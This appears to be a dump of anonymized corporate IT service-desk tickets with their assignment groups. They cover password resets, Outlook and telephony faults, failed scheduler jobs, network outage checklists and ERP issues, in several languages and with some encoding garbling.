this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: supply\_chain\_software password reset, Description: from: ftnijxup sbltduco
sent: tuesday, october 11, 2016 1:20 am
to: jmxrabzy dpyvjcxr; nwfodmhc exurcwkm
subject: rakthyesh re: finished: start of s&op process
help desk,
please check johthryu's account in supply\_chain\_software.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: customer unable to hear user on telephony\_software, Description: i am signed in to both telephony\_software and crm. i am using a soft phone and when the phone rings i select pick up in crm to answer the call and no one can hear me'
telephony\_software extension number:-154800
system name-lfml8517753
call back number-, is assigned to Assignment group: GRP\_7.Ticket with Short description: monitoring\_tool is has detected an event in the windows event log with id:50410 on host: HostName\_992 & HostName\_993, Description: monitoring\_tool is has detected an event in the windows event log with id:50410 on host: HostName\_993\_x000D\_
monitoring\_tool is has detected an event in the windows event log with id:50410 on host: HostName\_992, is assigned to Assignment group: GRP\_14.Ticket with Short description: phone issue, Description: phone issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password reset, Description: windows password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: issue with hr\_tool, Description: when i try to put in a vacation request in hr\_tool, the requests do not show on the calendar. i need to cancel some dates but they don't show up for me to cancel them. my supervisor cannot see my requests either, is assigned to Assignment group: GRP\_0.Ticket with Short description: 7350 : audio issue , Description:
summary:since outlook crashed yesterday the speakers on 2n1 device do not work. last week a bios upgrade was run to get speakers working again, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue : crashing and not responding , Description: outlook issue : crashing and not responding , is assigned to Assignment group: GRP\_0.Ticket with Short description: helped user with crm site and : , Description: helped user with crm site and : \_x000D\_
also helped user with vendor number ., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on : ticket\_no0447258, Description: ticket update on : ticket\_no0447258, is assigned to Assignment group: GRP\_0.Ticket with Short description: password\_management\_tool password manager ?, Description: \_x000D\_
\_x000D\_
received from: itjzudor.ybtmorxp@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
where do i find the password\_management\_tool password manager ?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2: windows account unlock, Description: vip 2: windows account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to reply to emails, Description: unable to reply to emails, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is unable to connect, Description:
received from: gacfhedw.iqustfzh@gmail.com
hello team,
my outlook is unable to connect to mailserver, this happened just after i renewed my passwords over password\_management\_tool password manager upon an email notification. i do not have any problems in connecting emails over office 365 web, or in skype business..
could you please take a look?
user: gokcerthy
computer: aisl8111131
, is assigned to Assignment group: GRP\_0.Ticket with Short description: iÌ‡lt: outlook is unable to connect, Description:
received from: gacfhedw.iqustfzh@gmail.com
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
gÃ¶nderen: gacfhedw iqustfzh
gÃ¶nderildi: 11 ekim 2016 salÄ± 16:03
kime: nwfodmhc exurcwkm
konu: outlook is unable to connect
hello team,
my outlook is unable to connect to mailserver, this happened just after i renewed my passwords over password\_management\_tool password manager upon an email notification. i do not have any problems in connecting emails over office 365 web, or in skype business..
could you please take a look?
user: gokcerthy
computer: aisl8111131
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password\_management\_tool password manager queries and password reset , Description: password\_management\_tool password manager queries and password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: please provide ip for our 5 users, Description: å‘ä»¶äºº: white, ben <ben.white@hr\_tool.com>
å‘é€æ—¶é—´: 2016å¹´10æœˆ11æ—¥ 9:00:30
æ”¶ä»¶äºº: eva li; dyhtuiel.hiyhugins@company.com; stefyty parkeyhrt
æŠ„é€: haiwei.liang@hr\_tool.com; patience, rob
ä¸»é¢˜: re: company intepmov imjukbqhing plan
hi eva,
can you work with your local it team to determine your desktop ip address and provide it to dyhtuiel and stefyty.
hi dyhtuiel, stefyty,
eva is a miowvyrs qkspyrdm located in the apac office . please check that the routing is in place from her network to connect over the vpn to hr\_tool ( 12.161.199.3 to 185.42.190.22 ).
, is assigned to Assignment group: GRP\_56.Ticket with Short description: unable to open up emails, Description: unable to open up emails, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to make outbound calls from usa using siemens hiapth 4000, Description: unable to make outbound calls from usa using siemens hiapth 4000, is assigned to Assignment group: GRP\_37.Ticket with Short description: vip 1 sending email on behalf offinance\_vip1, Description:
received from: lpoebzsc.grknswyo@gmail.com
hello â€“ i am a delegate for finance\_vip1' email. i am set up to send emails on behalf of finance\_vip1, but when the recipient receives the mail, it says lpoebzsc grknswyo on behalf offinance\_vip1. what i want is for it to just say jk's name, like it had been sent from him. dtheb mulhylen and othybin graceuyt both have their emails set up that way.
, is assigned to Assignment group: GRP\_26.Ticket with Short description: outlook freezes, Description: outlook freezes., is assigned to Assignment group: GRP\_0.Ticket with Short description: received a message when trying to open a website - "unsupported browser"., Description: asking me to download a new browser to continue. , is assigned to Assignment group: GRP\_0.Ticket with Short description: johthryu's erp inbox is not updating since 6th october., Description: johthryu's erp inbox is not updating since 6th october., is assigned to Assignment group: GRP\_13.Ticket with Short description: getting virus prompt from sep, Description: getting virus prompt from sep\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: usa company, mpls router is down since 8:16 am et on 10/11. site is up on vpn circuit., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_8:16 am et on 10/11\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_na\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_na\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: handscanner an pc evhw8114203 bei r208 funktioniert nach tausch immer noch nicht;, Description: handscanner an pc evhw8114203 bei r208 funktioniert nach tausch immer noch nicht bitte prÃ¼fen und bei bedarf nochmals tauschen;, is assigned to Assignment group: GRP\_33.Ticket with Short description: wg: visio software request, Description: \_x000D\_
\_x000D\_
received from: przcxbml.vnjdghui@gmail.com\_x000D\_
\_x000D\_
hello support team,\_x000D\_
\_x000D\_
i need visio on my pc.\_x000D\_
\_x000D\_
can you please install it?\_x000D\_
\_x000D\_
software request approval attached below.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_28.Ticket with Short description: setup we78 \ewewx200295 \lxfnwyuv bqmjyprz, Description: setup we78 \ewewx200295 \lxfnwyuv bqmjyprz, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup we78 \ewew8323646 \lxfnwyuv bqmjyprz, Description: setup we78 \ewew8323646 \lxfnwyuv bqmjyprz, is assigned to Assignment group: GRP\_24.Ticket with Short description: momitor defekt \niptbwdq csenjruz, Description: momitor defekt \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: hip 10 ersatz- festplatte erstellen!, Description: hip 10 ersatz- festplatte erstellen!, is assigned to Assignment group: GRP\_33.Ticket with Short description: neuen ordner im info von EU\_tool anlegen (please create new folder ), Description: \_x000D\_
\_x000D\_
received from: qavdrpfu.ylfwnbkr@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
bitte im EU\_tool unter infos einen neuen pfad anlegen.\_x000D\_
\_x000D\_
[cid:image001.png@01d223c0.fSID\_21c960][cid:image002.jpg@01d223c0.fSID\_21c960]\_x000D\_
\_x000D\_
[cid:image003.jpg@01d223c0.fSID\_21c960]\_x000D\_
\_x000D\_
unter impact award ein neues verzeichnis anlegen.\_x000D\_
als bezeichnung bitte erp pm verwenden.\_x000D\_
\_x000D\_
die dateien zum visualisieren befinden sich auf\_x000D\_
i:\handbÃ¼cher\erp pm<file:///\\HostName\_579\info\handbÃ¼cher\erp%20pm>\_x000D\_
\_x000D\_
[cid:image004.jpg@01d223c0.fSID\_21c960]\_x000D\_
\_x000D\_
reason :\_x000D\_
[â€Ž10/â€Ž13/â€Ž16 3:19 pm] qavdrpfu ylfwnbkr: \_x000D\_
i have created some traiyctrhbkm plvnuxmrterial for our shopflor workers for our new erp pm system for creating breakdown notifications\_x000D\_
so they will have a chance to look into this traiyctrhbkm plvnuxmrterial when they want to do any notification fjaqbgnld yukdzwxs people.\_x000D\_
because we still started with erp pm and our old system was a part of EU\_tool\_x000D\_
called azm.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_25.Ticket with Short description: s&op password, Description: help desk,\_x000D\_
please check stefyty's account in supply\_chain\_software.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: replizieren, Description: \_x000D\_
\_x000D\_
received from: trgqbeax.hfyzudql@gmail.com\_x000D\_
\_x000D\_
hallo\_x000D\_
\_x000D\_
leider repliziert mein laptop im firmennetz nur rudimentÃ¤r, im iphone bekomme ich die neusten emails. das problem haben auch andere kollegen hier am standort.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d223be.6f558640]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen | best , is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: engineering\_toolkuznetsk warehouse - (company) network is down since 6:28 am et on 10/11., Description: what type of outage: \_\_\_\_x\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_6:28 am et on 10/11.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_\_no\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_1132: oracle finance\_app financial management - web tier (epmsystem2) - service monitor(down), Description: HostName\_1132: oracle finance\_app financial management - web tier (epmsystem2) - service monitor(down), is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to launch citrix., Description: unable to launch citrix. error message atttached.
, is assigned to Assignment group: GRP\_12.Ticket with Short description: job Job\_505 failed in job\_scheduler at: 10/11/2016 05:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_505 failed in job\_scheduler at: 10/11/2016 05:43:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: crm dynamics - open opportunities from lvdyrqfc pfnmjsok, Description:
received from: ctzykflo.evzbhgru@gmail.com
dear all,
lvdyrqfc pfnmjsok (personnel # 10780975, userid: webyutelc) lost/deleted by mistake his open opportunities (1 week ago).
can someone please check if these open opportunities can be restored.
, is assigned to Assignment group: GRP\_40.Ticket with Short description: barcode scanner defekt \paternoster, Description: barcode scanner defekt \paternoster, is assigned to Assignment group: GRP\_24.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/11/2016 04:28:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/11/2016 04:28:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: reset erp password, Description:
received from: ztswnaom.lrapiwex@gmail.com
dear admin,
may i request to reset erp password for the following user.
othyoiz
, is assigned to Assignment group: GRP\_0.Ticket with Short description: please check jeffrghryey's account in supply\_chain\_software., Description: help desk,\_x000D\_
please check jeffrghryey's account in supply\_chain\_software.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: einstellungen am alfa set messgerÃ¤t Ã¼berprÃ¼fen., Description: am rollomatic alfa set messgerÃ¤t mÃ¼ssen die einstellungen laut anleitung Ã¼berprÃ¼ft werden., is assigned to Assignment group: GRP\_33.Ticket with Short description: reset the password for eglavnhx uprodleq on erp / produktion / erp, Description: bitte passwort fÃ¼r benutzer "franhtyuj1" zurÃ¼cksetzten, wurde mehrfach falsch eingegeben.\_x000D\_
danke, is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage: india plant - india () telecom\_vendor\_3 40mbps secondary circuit is down since 3:26 am et on 10/11/16., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_3:26 am et on 10/11/16.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_yes\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_telecom\_vendor\_3:#31345563\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: po number 5615755997 has been posted gr with incorrect gl account , Description: po number 5615755997 has been posted gr with incorrect gl account , is assigned to Assignment group: GRP\_10.Ticket with Short description: please check brook's account in supply\_chain\_software, Description: please check brook's account in supply\_chain\_software, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp schulung raum :7 kann beamer nicht verbinden, Description: erp schulung raum :7 kann beamer nicht verbinden, is assigned to Assignment group: GRP\_28.Ticket with Short description: passwordproblems, Description:
received from: agjzikpf.nhfrbxek@gmail.com
hi,
i just tried to change my password via passwordmanager and locked me totally.
would you please be so kind and unlock me again so that i can change it again ?
mit freundlichen grÃ¼ÃŸen
agjzikpf nhfrbxek
analyst logistics
agjzikpf.nhfrbxek@gmail.com<mailto:agjzikpf.nhfrbxek@gmail.com>
company shared services gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: interface 1/0/8 and 1/0/12 are down on switch company-eu-deu-ds-germany-edksw001-3750-core-sw001 since 12:50am et on 10/11, Description: interface 1/0/8 and 1/0/12 are down on switch company-eu-deu-ds-germany-edksw001-3750-core-sw001 since 12:50am et on 10/11, is assigned to Assignment group: GRP\_8.Ticket with Short description: circuit outage:germany: company-eu-deu-erkheim-dmvpn-2821-rtr01 is down since 2:09 am et on 10/11/16., Description: what type of outage: \_\_\_\_\_network \_\_\_\_\_x circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_\_\_no\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_2:09 am et on 10/11/16.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_no\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_no\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: eilt !!! monitor defekt , Description: monitor defekt \_x000D\_
fuer hr. tjzohmve wusgaozx\_x000D\_
\_x000D\_
neu bau 6 stock, #503, is assigned to Assignment group: GRP\_28.Ticket with Short description: erp gui login profile missing ., Description: erp gui login profile missing . erp cannot login., is assigned to Assignment group: GRP\_31.Ticket with Short description: device does not properly boot up windows - system hangs before user login, Description: device does not properly boot up windows - system hangs before user login, is assigned to Assignment group: GRP\_28.Ticket with Short description: pls. help to run out dn under sto#5019320060,thx!, Description:
received from: wktesmbp.lorjymef@gmail.com
dear team,
we got a stock recall notic#plant\_101-101016-01 for mm#3098450 & should return 373pc materials to plant\_101,then i created sto#5019320060 base on this recall.
dn#916955708/105pc was just created against the sto, pls. help to run out the dn of rest 268pc ,thx a lot!
[cid:image001.png@01d223c2.0ac78080]
b.rgds
judthtihty.zhuyhts
company hardpoint apac-wgq dc
, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_1148 failed in job\_scheduler at: 10/11/2016 01:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1148 failed in job\_scheduler at: 10/11/2016 01:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: msd crm, Description: please provide details of the issue.\_x000D\_
\_x000D\_
i'm not able to view the attachment of customer 81053386.\_x000D\_
yesterday i received the hourglass only. loging on and off didn't solve the issue.\_x000D\_
today the following message is displaying on the bottom:\_x000D\_
javascript:void(0), is assigned to Assignment group: GRP\_15.Ticket with Short description: job Job\_1141 failed in job\_scheduler at: 10/11/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1141 failed in job\_scheduler at: 10/11/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1141 failed in job\_scheduler at: 10/10/2016 23:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1141 failed in job\_scheduler at: 10/10/2016 23:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: kis\_zebra print, Description: \_x000D\_
\_x000D\_
received from: gkwcxzum.answkqpe@gmail.com\_x000D\_
\_x000D\_
dear all\_x000D\_
\_x000D\_
this is jay from plant\_69.\_x000D\_
plant\_69 receives airwaybill label from erp whenever we do pgi for export. sometimes, zebra printer doesn't print the label so\_x000D\_
plant\_69 cancel the shipment and re-do pgi.\_x000D\_
\_x000D\_
is there another way for us to have the label not to cancel pgi and re-do pgi ?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/10/2016 22:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_770\_inc failed in job\_scheduler at: 10/10/2016 22:38:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job pp\_EU\_tool\_netch\_keheu2 failed in job\_scheduler at: 10/10/2016 22:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_keheu2 failed in job\_scheduler at: 10/10/2016 22:37:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: wifi ä¸èƒ½åœ¨çº¿, Description: wifi ä¸èƒ½åœ¨çº¿, is assigned to Assignment group: GRP\_30.Ticket with Short description: job SID\_56filesys failed in job\_scheduler at: 10/10/2016 22:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_56filesys failed in job\_scheduler at: 10/10/2016 22:24:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: æ— æ³•åˆ›å»ºskypeä¼šè®®ï¼Œoutlook æ—¥åŽ†ä¸Šé¢æ²¡æœ‰ skype online meeting åŠ è½½é¡¹ã€‚, Description: æ— æ³•åˆ›å»ºskypeä¼šè®®ï¼Œoutlook æ—¥åŽ†ä¸Šé¢æ²¡æœ‰ skype online meeting åŠ è½½é¡¹ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: æˆ‘çš„outlook æ‰“å°é‚®ä»¶è®¾ç½®çºµå‘ï¼Œæ‰“å‡ºæ¥éƒ½æ˜¯æ¨ªå‘çš„ï¼Œèƒ½å¸®æˆ‘çœ‹ä¸€ä¸‹å—ï¼Ÿ, Description: æˆ‘çš„outlook æ‰“å°é‚®ä»¶è®¾ç½®çºµå‘ï¼Œæ‰“å‡ºæ¥éƒ½æ˜¯æ¨ªå‘çš„ï¼Œèƒ½å¸®æˆ‘çœ‹ä¸€ä¸‹å—ï¼Ÿ
dizquolf hlykecxa
ap accountant
dizquolf.hlykecxa@gmail.com
, is assigned to Assignment group: GRP\_31.Ticket with Short description: posed inwarehouse\_tool no.6223538861 cannot be shown in erp, Description: we posed po5616691482 in miro and erp issued no.6223538861. however, this voucher no. does not exist in fb03 as attachment shown. and in me23n, ir cannot be found after making gr and in fbl1n, the transaction still does not exist. only in mir4, no.6223538861 is shown as the posed inwarehouse\_tool.\_x000D\_
please tell us resolve the problem. , is assigned to Assignment group: GRP\_10.Ticket with Short description: carrier orders not processing., Description: carrier orders not processing labels through shipping system in erp. getting the following error message. server is unable to process the request, is assigned to Assignment group: GRP\_18.Ticket with Short description: unable to connect to glog-old to search old data, Description: please assign this ticket to keyhtyvin toriaytun. the glovia database is down., is assigned to Assignment group: GRP\_3.Ticket with Short description: sales orders are not updating with correct delivery dates , Description: this is in reference to so# 35086652\_x000D\_
\_x000D\_
this all started with this email; "i called company and spoke with wkpnlvts oumeaxcz and has confirmed that the items are in route from germany and are scheduled to get to them on 10/18/16 and turn around and ship to us. the new delivery date is for 10/19/16. she was not sure why the date of 12/16/16 is on the company center."\_x000D\_
\_x000D\_
after investigating this and looking at screen shots provided by heidi, this is what is happening. "manufacturing updated the information in the system, and if a csr ran an apo availability check on the art, they could see the updated date of 10/19, but it did not update the delivery date in the order. i went into the order and manually ran a apo stock update on the order, and it updated the delivery date to 10/19. if the customer were to look at it now through company center, they would see a delivery date of 10/19."\_x000D\_
\_x000D\_
when manufacturing updates the delivery time for an order, it has to update on all open orders for that item. in this case it did not. we are loosing orders because of this issue as it has been going on for some time now, but this is the first time i have documented screen shots of what was going on. csrs can not run apo every time a date is changed in erp. this has to be automated. anything less is unacceptable. \_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: need ticket, Description: \_x000D\_
\_x000D\_
received from: dqplrwoy.cutpwjie@gmail.com\_x000D\_
\_x000D\_
2108696 â€“ this item was manufactured at plant\_248 and received into plant\_249. it was received into stock at plant\_249 on sept 14.\_x000D\_
\_x000D\_
at that point i would have expected the system to have automatically moved the product to plant\_101 where there is safety stock and forecast.\_x000D\_
\_x000D\_
can you please advise if the process is working? if it is working, can you please advise why this item did not move.\_x000D\_
\_x000D\_
\_x000D\_
dqplrwoy cutpwjie\_x000D\_
supply chain planner\_x000D\_
strategic sourcing and supply planning\_x000D\_
dqplrwoy.cutpwjie@gmail.com<mailto:dqplrwoy.cutpwjie@gmail.com>\_x000D\_
724-539-5632\_x000D\_
\_x000D\_
company inc. | 1600 technology way | usa, pa 15650 | www.company.com<\_x000D\_
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\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: problem w/downloading .dxf files- error "certificate does not exist" - business\_client- product engineering-, Description: contact sitmzuje ckrpsabm
unable to save/download .dxf files when using the business\_client.(screenshot attached)
error message persists when attempting to download the .dxf 2d engineering\_drawing\_tool files from the business\_client(web based format). (from path business\_client > product engineering > drawing search > display document > select document (e.g. 71322408\_nxd\_000~03.dxf )>"copy to" >select directory > c:\users\mazurjw\documents\my drawings\ > result = "certificate does not exist", is assigned to Assignment group: GRP\_3.Ticket with Short description: password reset, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: monday, october 10, 2016 8:59 pm
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: amar request to reset microsoft online services password for xbfcitlh.ntulmcpq@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ xbfcitlh.ntulmcpq@gmail.com
â€¢ first name: theydbar
â€¢ last name: brrgtyanthet-perry
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
